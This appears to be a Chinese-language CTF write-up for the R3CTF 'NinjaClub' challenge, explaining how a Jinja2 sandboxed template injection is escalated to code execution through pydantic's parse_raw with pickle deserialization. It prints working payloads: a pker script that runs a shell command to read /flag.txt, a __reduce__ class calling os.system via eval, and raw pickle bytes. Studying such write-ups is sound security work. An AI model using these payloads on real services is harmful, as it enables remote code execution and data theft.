R3CTF NinjaClub jinjia2沙箱
题目源码
from jinja2.sandbox import SandboxedEnvironment, is_internal_attribute
from jinja2.exceptions import UndefinedError
from fastapi import FastAPI, Form
from fastapi.responses import HTMLResponse
from pydantic import BaseModel
from typing import Union
import uvicornapp = FastAPI()@app.get("/", response_class=HTMLResponse)
def index():return """
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Ninja Club</title><style>body {font-family: 'Arial', sans-serif;background: #333;color: #fff;text-align: center;padding: 50px;}h1 {color: #4CAF50;}p {font-size: 1.2em;}a {display: inline-block;background: #4CAF50;color: #fff;padding: 10px 20px;margin: 20px 0;border-radius: 5px;text-decoration: none;transition: background-color 0.3s ease;}a:hover {background-color: #3e8e41;}.container {max-width: 600px;margin: auto;background: #222;padding: 20px;border-radius: 8px;box-shadow: 0 0 10px rgba(0,0,0,0.5);}</style>
</head>
<body><div class="container"><h1>Welcome to Ninja Club!</h1><p>Join us in the ninja club. We are present even in the sands of the Sahara. Sharpen your skills and become a master of stealth communications. Qualifications for entry are very strict, so preview your application first.</p><a href="/preview">Preview</a></div>
</body>
</html>
"""@app.get("/preview", response_class=HTMLResponse)
def preview_page():return """
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Preview Ninja Club</title><style>body {font-family: 'Arial', sans-serif;background: #333;color: #fff;text-align: center;padding: 20px;}.container {max-width: 600px;margin: auto;background: #222;padding: 20px;border-radius: 8px;box-shadow: 0 0 10px rgba(0,0,0,0.5);}h1, p {margin: 20px 0;}label {display: block;margin: 10px 0 5px;text-align: left;color: #ccc;}input, textarea {width: calc(100% - 20px);padding: 10px;margin-top: 5px;border-radius: 4px;border: none;box-sizing: border-box;}button {background-color: #4CAF50;color: white;border: none;padding: 10px 20px;margin: 20px 0;border-radius: 5px;cursor: pointer;transition: background-color 0.3s;}button:hover {background-color: #3e8e41;}#output {background: #444;padding: 10px;margin-top: 20px;border-radius: 5px;min-height: 50px;word-wrap: break-word;}form {text-align: left;}</style>
</head>
<body><div class="container"><h1>Mailer Preview</h1><p>Customize your ninja message:</p><form id="form" onsubmit="handleSubmit(event);"><label for="name">Name variable:</label><input id="name" name="name" value="John" /><label for="description">Description variable:</label><input id="description" name="description" placeholder="Describe yourself here..." /><label for="age">Age variable:</label><input id="age" name="age" type="number" value="18" /><label for="template">Template:</label><textarea id="template" name="template" rows="10">Hello {{user.name}}, are you older than {{user.age}}?</textarea><button type="submit">Preview</button></form><div id="output">Preview will appear here...</div></div><script>function handleSubmit(event) {event.preventDefault();const data = new FormData(event.target);const body = {user: {}, template: {source: data.get('template')}};body.user.name = data.get('name');body.user.description = data.get('description');body.user.age = data.get('age');fetch('/preview', {method: 'POST', headers: { 'Content-Type': 'application/json' },body: JSON.stringify(body)}).then(response => response.text()).then(html => document.getElementById('output').innerHTML = html).catch(error => console.error('Error:', error));}</script>
</body>
</html>
"""
class User(BaseModel):name: strdescription: Union[str, None] = Noneage: intclass Template(BaseModel):source: str@app.post("/preview", response_class=HTMLResponse)
def submit_preview(template: Template, user: User):env = SandboxedEnvironment()try:preview = env.from_string(template.source).render(user=user)return previewexcept UndefinedError as e:return eif __name__ == "__main__":uvicorn.run(app, host="127.0.0.1", port=8001)
首先锁定我们的漏洞代码
@app.post("/preview", response_class=HTMLResponse)
def submit_preview(template: Template, user: User):env = SandboxedEnvironment()try:preview = env.from_string(template.source).render(user=user)return previewexcept UndefinedError as e:return e
它是会进行一个模板解析的,那就是有ssti的风险,而且我们看一下示例
可以看见的是我们的{{}}内容是成功被解析了的
那就是一道ssti 的题目,但是这个问题是,它是在
env = SandboxedEnvironment()
沙箱中,这个沙箱会有严格的过滤,几乎是不可能绕过的,我们看看过滤了什么
这是我们的调用栈
is_internal_attribute, sandbox.py:125
is_safe_attribute, sandbox.py:265
getattr, sandbox.py:333
<框架不可用>
render, environment.py:1299
submit_preview, test2.py:198
run, _asyncio.py:859
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973
if isinstance(obj, types.FunctionType):if attr in UNSAFE_FUNCTION_ATTRIBUTES:return Trueelif isinstance(obj, types.MethodType):if attr in UNSAFE_FUNCTION_ATTRIBUTES or attr in UNSAFE_METHOD_ATTRIBUTES:return Trueelif isinstance(obj, type):if attr == "mro":return Trueelif isinstance(obj, (types.CodeType, types.TracebackType, types.FrameType)):return Trueelif isinstance(obj, types.GeneratorType):if attr in UNSAFE_GENERATOR_ATTRIBUTES:return Trueelif hasattr(types, "CoroutineType") and isinstance(obj, types.CoroutineType):if attr in UNSAFE_COROUTINE_ATTRIBUTES:return Trueelif hasattr(types, "AsyncGeneratorType") and isinstance(obj, types.AsyncGeneratorType):if attr in UNSAFE_ASYNC_GENERATOR_ATTRIBUTES:return Truereturn attr.startswith("__")
可以看到是一些过滤
反正前人就是很难绕过的,这种时候就要变换思路了,但是漏洞点还是在ssti,因为__的过滤,所以很多内置的函数就不可以使用了,然后我们看看这个类本身有什么函数,因为这个类的话是没什么利用函数的,我们看到这个函数还继承了
class User(BaseModel):name: strdescription: Union[str, None] = Noneage: int
是继承了BaseModel类,我们看看这个类有什么危险函数
来到我们的这个函数,因为它有一个参数非常让我们怀疑,就是我们的allow_pickle
我们再详细跟踪看一看load_str_bytes方法
if proto is None and content_type:if content_type.endswith(('json', 'javascript')):passelif allow_pickle and content_type.endswith('pickle'):proto = Protocol.pickleelse:raise TypeError(f'Unknown content-type: {content_type}')proto = proto or Protocol.jsonif proto == Protocol.json:if isinstance(b, bytes):b = b.decode(encoding)return json_loads(b) # type: ignoreelif proto == Protocol.pickle:if not allow_pickle:raise RuntimeError('Trying to decode with pickle with allow_pickle=False')bb = b if isinstance(b, bytes) else b.encode() # type: ignorereturn pickle.loads(bb)else:raise TypeError(f'Unknown protocol: {proto}')
可以看到只需要我们传入的参数满足一些条件是可以pickle反序列化的,而且我们的参数都是可以控制的
首先content_type=‘pickle’,allow_pickle=True
然后就是构造payload
可以用我们的pker工具
s = 'cat /flag.txt'
popen = GLOBAL('os', 'popen')
getattr = GLOBAL('__builtin__', 'getattr')
c = popen(s)
read = getattr(c, 'read')
d = read()
res = {}
res['name'] = d
res['age'] = 30
return res
不过需要学习语法,建议使用我们的
import os
import pickle
import base64class User:def __init__(self, username, age):self.username = usernameself.age=agedef __reduce__(self):return (eval, ("__import__('os').system('whoami')",))user = User("ljl", 18)
print(pickle.dumps(user))
pickle.loads(b"\x80\x04\x95=\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04eval\x94\x93\x94\x8c!__import__('os').system('whoami')\x94\x85\x94R\x94.")
调用栈
parse_raw, main.py:1143
call, runtime.py:298
call, sandbox.py:393
<框架不可用>
render, environment.py:1299
submit_preview, test2.py:198
run, _asyncio.py:859
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973
调用栈
parse_raw, main.py:1143
call, runtime.py:298
call, sandbox.py:393
<框架不可用>
render, environment.py:1299
submit_preview, test2.py:198
run, _asyncio.py:859
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973